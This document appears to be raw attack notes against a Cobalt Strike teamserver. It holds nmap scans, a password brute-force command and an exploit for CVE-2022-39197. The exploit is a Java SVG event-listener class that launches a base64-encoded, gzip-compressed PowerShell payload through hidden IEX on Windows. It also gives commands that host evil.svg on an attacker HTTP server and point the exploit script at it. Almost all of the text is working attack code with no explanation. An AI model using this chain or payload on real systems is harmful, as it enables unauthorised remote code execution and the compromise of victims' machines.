sudo nmap -p- 192.168.245.129

nmap -p 50050 192.168.245.129 -sV -A

PORT      STATE SERVICE     VERSION50050/tcp open  ssl/unknown|_ssl-date: TLS randomness does not represent time| ssl-cert: Subject: commonName=*.microsoft.com/organizationName=Microsoft Corporation/stateOrProvinceName=WA/countryName=US

python3 csbruter.py -p 50050 192.168.245.129 user.txt

import org.w3c.dom.events.Event;import org.w3c.dom.events.EventListener;import org.w3c.dom.svg.EventListenerInitializer;import org.w3c.dom.svg.SVGDocument;import org.w3c.dom.svg.SVGSVGElement;import java.util.*;import java.io.*;
public class Exploit implements EventListenerInitializer {    public Exploit() {    }    public void initializeEventListeners(SVGDocument document) {        SVGSVGElement root = document.getRootElement();        EventListener listener = new EventListener() {            public void handleEvent(Event event) {                try {                    String OS = System.getProperty("os.name", "unknown").toLowerCase(Locale.ROOT);                    if (OS.contains("win")) {                        Runtime.getRuntime().exec(new String[]{"cmd","/c","powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAWABiAFgATwBpAHkAaABMACsASABIADgARgBIADEASwBsAFYAbwB4AEIAVQBXAFAAMgAxAEYAWQB0AEsAaQBnAGkAUgBJAEgAZwBTADAANABxAEIAYwB5AGcASwBHADgATwBBADQAaABuADkANwArAGYAQQBUAFUAbgBlAHoAYQA1AGQANgB2AHUAdABZAHAAeQBtAE8AbgB1ADYAWAA3AG0ANgBaADUARwBoAGYAaABXAHgAYwBpAHgAcwBCAFEAQQBTAE4AMwBxAEUARQBWAE8ANABGAFAATgBVAHUAbAA2AEUAQQBpAFkAKwBrAHAAOQBLADUAZgBzADIATABkAHcAUABwADAAUABYAHQAYwBRAHYANABZAG8AcwBGADQATgBBAEIAQwBNAEkAdQBxAHYAMAB0AFgAVQBRAEkAWgBIAFYAYQA0AFQAQQA3ADEANgBBAFkAaABkAFcASwBPAEsAbAAxAHcAUQBnAGgAagBCADYAdABWAFYANgBhAHEAWQBpAHYAMwBJAHMATwBHAHIAYgAyAEEAbgBnAGEAOABlAHgASgBzAEEAUgBHAFMAagB5AGoATQBiAGgAbwBQAEEATQB4AHoALwA1AGMAdQBYAGYAbwB3AFEAOQBQAEgAcAB2AFQANgBFAG0ASQAwAGkANgBKAG0AdQBBADYATgBLAGwAZgBwAE8AegBUAGMAUQB3AGQAdABIAGMAdwBzAHQAVABQADEARgBYAGIALwBXAGgAMgA1AGcARwB1ADUAWgBMAE8AcwBiADEAbwBZAEUAeABQAG8AZwBYADUAcwBFAGwAcABGAEgAVQBGAGQARAAxADgARwBWADgAcAA5AC8AbABxAHYAUAB0ADQAMgBYAE8AcgBlAFAARABUAGUAcQBsAE4AVQBzAHcAdABDAHIAQQA5AGMAdABWADYAawBmADEAWAB4AEQATABRAHQAaABwAFMAdwA1AEYAZwBxAGkAdwBNAGIAMQB1AGUATQB6AHoAZgBwAFQANABiADEAYwBPAEMAKwBkAGYAQwA5AFgAegA1AEcAdABRADQAUABFADgAWABtAFEAdQBkAFcAVABUAHEAVgBNAGgAbABPAEMARABYAHYAQwBzAEYAeQBqAG4AdgBQADkAbgBsADkAZQBxAEcAOQB2ADMAaQBpAHgAagB4ADAAUAAxAGcAVQBmAFEAeABTAEUASwBrAFMASgBZADgARwBvAFAAagBKADgANABFAEkARgAyAGsAUwB0AEgASgBIAGoAOAA5AGYAbABLAG4ARQBDAFEAUgB3AGoAbgA3AHIANABRAHYAUwBTAFkAQQBjAHIAMQAzADcAcwB1AGoAVgBpADkALwBsADMANwBiADUAVQBaAEoAaABlAHcAUAAxAGQAcABjAHAANwBKAFMASQAxAHgAYQBoAGEATwAzAFAAaQBkACsAQwBRAEMAdAA2AGMAegBKAEYAdwBmAHYASAArAEgAYgBtAHEANQBQAGMATAB3AGEAcQBsAEgANgBVAFAAcQBBAHEAZwBDADkAYwBHAGgAcQArAFkANABQAHUATwBxADYAVwByAHEAKwBkAGkAQwBFAGsAOABsAFcAawBRAE8AWQBYAGUAVgA0AHEAdQBVAFIASgB4AHcAcwBBAEIAeQB2AEwAagAxAEYAQQBNAHEAeQAvAC8AbgBNADkAcAAyADQAdABtAFYAUAB2AFUAVQBPAE8AaQBkAGQAWQA1AEgAYwAvAEoAagA2AC8AVQBzAHgANAA0ADQASwBWADAAVgBTADIAZAAyAFoAUABQAHYANQBxAHgANAB3AEsASQA4AHYAWABQAHMAMgBFAEEAYgBjAGUASABnADgAdwAzAFAATQBlADYARQBMADcAeQAwAFoAbABCADIANABVAEYASAB2AFcATABtAEUAegA4AHIASgBUAFAAQwB4AEEATQB6AHUAaQBVAGMAMABDAGYAZgAxAFgAagBQAEEAZQAvADYAZgBaAE8AegByAEUAVwBPAGYAZQBJAGUARQBVAG8AVQBmADMAWgBtAGQATQBaAFYAcwBxAEMATAAwAEcAUAA0AEgAZAA2AEoAegBTADkAdABrAG0AYQB3AFkAdgAwAE8AYgBXAHkAeQArADcANQBlADgANwBsAHYAbQB0AEUAVQBZADIAYQB4AGkAVABQAHIAUgBxAGwAUQBzAE8ARgBvAEUAYQB4AGYAdQBTAGMAbAA5AGcAWQBCADgAVwB3AC8ASQArADcAVQB1AHgAaQB4AHoASQBpAGYARABIADMAVQB2ADAAQQAwAHYAUABXAC8AYwBBAG4ARwBSAE4AYgA1AEgAUQBKAEQASgBvAGEAUQBzAHMAeAAzAEIAeQBWAEcAagBWAHkAQQBPAHgAbABxAHIATwArAHUARgBEACsARQBKAE8AKwA0AGIAbwBrADUAWQBpAGwAaABKAHcASgBtAGMAbQB4AFUASABIAE8ARwBRAFIAcQAvACsAWgBIAHQAYQA1AEMATABIAGkAaABDAHoAMABpAFgAVgBRAGgAMwBqAFgAVwBwAE8AYQBjAE0ANgBxAGcAbQA3AEcARwBvAFAAdwBmADMATAA3AGsAeQBTAGsAcABjAHEAdwB1AEkATAAxAHoAbQBoAEIAQQBkAFEATgBjAG8AMwBRAEgAWQBWAEwAWAB5AHIAVgBmAGkAUABlAC8AdQBmAGQAegBpAGYAbgBKAHoAVAA2AEMANQA0AE8AcwBGAEkAbgA0ADMATQB0AHcAbgBpADYARgBwAEoAVgBmAEwAbAAvAGYAcwBDAHkAUQBRADUAaQBnAHgAcQBQAEEANgB4AGsAUgA3AEwAVABVAG8AbwB4AFYAeQBrAHcAMwAzAGcAdQBaAHQASgAxADEAMABKAEIATAArAE4ARgArAHgARwBuAGsAUwBjAGoARAA3AEgAbAB1AE0AaABrAHIAWQBVACsAWgBXAEYAegA4AE8AQgAzAFIAWQAxAHUAWQBkAFEAZQB0AE8ASQAyAEYAVwBPAHYAUgBEAEUAOABUAHUAZQBOACsAeQBOAGwAQwA4AGgAZwBzAEcANwBIAFgAYQBvAEIAUQBTAEcAUQB5AEYAOQAzAHYAUgA5AEYAQQBTAEEAYgBzAHEATABrAFAAKwBNADcAYQBlAFQAagBiAE8AZQBuAFAAegBMAFIAaABMAGcAVAArADMAaAB6AHkAcgBaAEUAZQA4AGIAbgA4AFMARQBoADYALwBMADcALwBFAEoARAB4AG4AWgBEADAAZwB6AEgAUgA2ADMAWgBDAHYANQBlAEMARgB1AFQARwBIAGIAaQBZAFcAQwBtAEQAdQA5AEIAWQBIAHoASgBSAHYAMQBIAHAAeABsAEQAUAA1AEkAbgBPAGgAYgBMAHEAZwA0AG4AWgBtAFAARgBqACsAZABqAGsAOABJAEUARwBJADQAVQBHAFgATABRAEMAKwBwADUAagBwAHEAWQBZAGsAagBnAEYAWgBxADEAMgAvAEgARwBtAHEAcgAzAE0AMgB1AEYAagBIAHIAcwAxAGsAaQBkAEEAMwBIAGYAYgA0AE4AagBNAGUATABsAEYAYwBEAGkAbwBtAGIAUgBaAGQAcwBEAEIAVwB2AEMAcAB0AFoAQQBuADIAVwBnAHAARAA0AG4AZABmAFQAeABmAHQAMABhAFMAeQBoAEQAYgBLAGoAaQBrADQAQwBsADYASABHAHQANAB5AFUAdwBOAHIANQBWAGwAZgBxAHMAdgBiAEkAWABEAHgAQQBxAHgAdgBoAGgAMwBrAEoASAAxAHcANABrAEQAegBaADYATgBjADkAMwB4AFoATABVAGUAUAAzAEQANAA1AEoAKwBxAEsAaABrAGcAdAB0ADIAUgBOAGgAQwBKAGIAYgA4AHYAUwBjAFEAZgBvADgAMwBEAEoAeQBJAGoAUgBnADYAeAAxAFUAVgA3AHcAWgBHADIAVwBXAGQAcgBNAFgASQBxAGEAUQAzAFgANAB4AHgAWgAwAG0AOAAwAHMAUgBmAHQAbQBKAGcATwB1AGcAQgBvAGoAYQAyAHgAVABJAEsARABiAFAAYwAyAGkAUwBzAEoAaQBTAGwAMwBUAFcAYwB4AGIAbwAwAFcAQwAyAGkAUABNAFcAaABIAHMAVwBEAHAAVABGAC8ATAB6AEgAbAB6AEQAcgBnAFYAdQA5ADYAeQB2AFMAawB6AHQATgBiAEcAdwBCAFUAMwBqAGIARwBEAGwATwAyAHcAMgBjAHQAdQBIAGcAUQByAFgARQBnAEMAcwA1AG8AcABMAHYAZQA0ADMAQwBsAEQAVABiAGQAVwBiAEwATQB0AHoAWgAvAEMAcQBVAFkATABFAHIAKwBtAE4AVABiAEYAcgBNAGEAMQB0AFoAawBMAHgATgBuAFQAdwAzAEQASQB5AHIARQAxAEQARAAzADIASQBHAGcARABSAFYAcQB5AGoAQwBKAHEAVAAwAEQAUwBlAFgAWgBnAEwAcQB3AEIAUAA2AE4AVgBJAGsATwBiAG8ANQBuAE8ASAA5AFkARAAwAE8AQgBGAGgAVgA3AEoAZQBwAHIAcQBoAFgAeQB6ADcAVgBnAGoAUwBaAHcANAB1AHkAMgBTAE4AZgBWADQANgBDAEYAegBpAHcAYQBJAE4AOABiAEsAbwBIAEYAWQBMAG4AcABTAFAATwA3AGMAeQBZAGMARABmAE4ARABUAEIAagAzAHYAYwBiAEoASAB4ADAASgBiADAAeABhAFcATQBwADAAZgBSAGUAMQB1AHAANgBTAEwARgBWAHEAaQBUAHYALwBSAFgAcwBXAFQASgA0AG4AVAAwAFcAaABPAGUAMwBMAEMAMgBxADAANQAzAEQASwBkAGoAdgBuAEEAegBvAGUAdABHAC8AQwAwAHMARwAyAGgARwAxAGoAKwA1AGcANgB1AHgAcgBxAEkAOQBPADMAagBNAGgAWABNAEIANgBZAEoAOQBGAEMAegBWAFgASABOAE4AVwB4ACsAbgBDAFQAYwBEAGIAdgB6AFkAaAB2AFAAaABvADAAQQBvADAATQBIAEwASQA1AEIANAAzAGkANAA0AHkAWQBnAGMAbQBnAG8AWQBUAGwAOAA3AEEAcgBzAE4AdABqAHMAKwBxAHoAWQBGADYAZABpAFkAMwBEAGMAYgBZAFEAbAAvAFoAaAB1AFAARABiAHQAdABoADkAQQA0AEEAUgBwAFAANQBvAGIANAA0ADYAeABmAGIAcAAzAEUARQBxAEIAMQB0AGEAVQBHADcAVwBkAEwAawBMAFcAUwBEAEoAOQAzADIAMQBPAFYAYwAvAGMAMwBVAFUASwBDAHEAYQBMAFMARwBzAHIAbQB1AGgARQBtADIAVABTAG0AagBGAHQANwBUADcAdABTAGEATABYAGwAeQBkADAAMgArAGcAQgB3AGwATgAxAEwAawArAEUASQArAEUAegBIAFcAMgBGAHAAcgBRAEYASABMADcAZgBNAEkATQBoADQAVwBIAHEARQBiADQAUQBIAGoAawAzAC8AagBqAGQAUgA0AFMAbgBtAFQAUQBRAE0AagBuAG4ANgBnAEUAYgBxAEYAZAB3AHQAVwBHADcAKwAvADcATQBhAFkAbgBtAFYAbwA5AFcAOQB5ADAAcABGAGgAbAA4AHQATABqAE4AVABCAGsAbwAzAEoAdwA4AHkAagBDAGwAegBkAHgATwB1AEoAUwArADUAdABYAEkARABoAEQAcABMAHcANwA1AG4AZgAwAEgAUgBmADUAdgBYAFUAeQA5ADEAUgB0AFMAWgBVAGcAQgB5ACsAZAB2AGIAcQByADUAdgBmACsAMgA4AG4AeAA5AGUATABuADAAYQBXAC8AdgB0ACsAYQBCAFcARwBQAGEAZQBlADAAcQBWAGgATABqAFgAYwBYADYAcgBQAG0AUgBEAEIAUgB0AEQASgBkAFUATQB0AEwAQQBYAEsANABmAFAAawBEADgAdQBRADIAWgBCAGsANgB1AFUAYQBsADgAMwBEAG4AdgBJAFAASwBoAFMANwBwAEsAMABuAGQAZQBpAGoAYgByAHUAbwBHAFYATgAwADYAZgBkAEQAQwBrAGoAVABzADEAVgB5AC8AawBjAG4AbwBpAFEANgBiADUANABhAGgASwB2AFEAbQBTAGIAdQBrAFUAawB4AG4AYgBkAHQARgBjAG4AQwBPADgAOQBGAGcAWAB3AFMAOQBmAFYAaQBTADgAMgBqAHMAUQBKADkAQgBmADQAMAAyAE4AbwBnADgATQBUAGQAUAA1AGYANAB1AHUAbABuADQAZgBsAG4ANABRAFoAcABVADMAYwA3AFcAOAB1AFgAcgBuAHkAZgB1AGQAMwBHAEsAbgA2AGgAbAA5AEYAUABzAGUALwBEADgAZQB3AEUAKwBiAC8AbgBkAG8AYwAvAEMASwAvAHUAdwBOAHUAcwBLAGgAagAvAEcAcQBsAHMAcgBmAFMAaQBYAEIAcAB0ADcATgBSADgANgBSAGYASAAzAEEAUABkAFUAdAB1AEIAYwBSAG0AdQBQAGIAYgBXAEMAUwBUADUAWABpADcAcQAxAGMARwAxAFYASwA0AEIAYgBVAHQAVQBIADkAbwBHADUASgBlAEcAegBFAE4ATQBuADMAQwBsAHIASAArAFUAVgBNAG4AVAA2AC8AdgBsAE8AcAA0AFoAdwBVAHYAMQBNAEsAdABDAEIAcABuADIALwBIAGcAVQBsAFkAQwBrAGsALwBsAFoAcwB1AGoATwBUAEMAWgBPADUAdgAvAGkAQwB1AHYATQA4AE4AQQBBAEEAPQAiACkAKQA7AEkARQBYACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACQAcwAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AA=="});                    } else if (OS.contains("mac")) {                        Runtime.getRuntime().exec("open -a calculator");                    } else if (OS.contains("nux")) {                        Runtime.getRuntime().exec("/usr/bin/mate-calc");                    }                } catch (Exception e) {}            }        };        root.addEventListener("SVGLoad", listener, false);    }}

python3 -m http.server 8080

python cve-2022-39197.py artifact.exe http://172.25.224.153:8080/evil.svg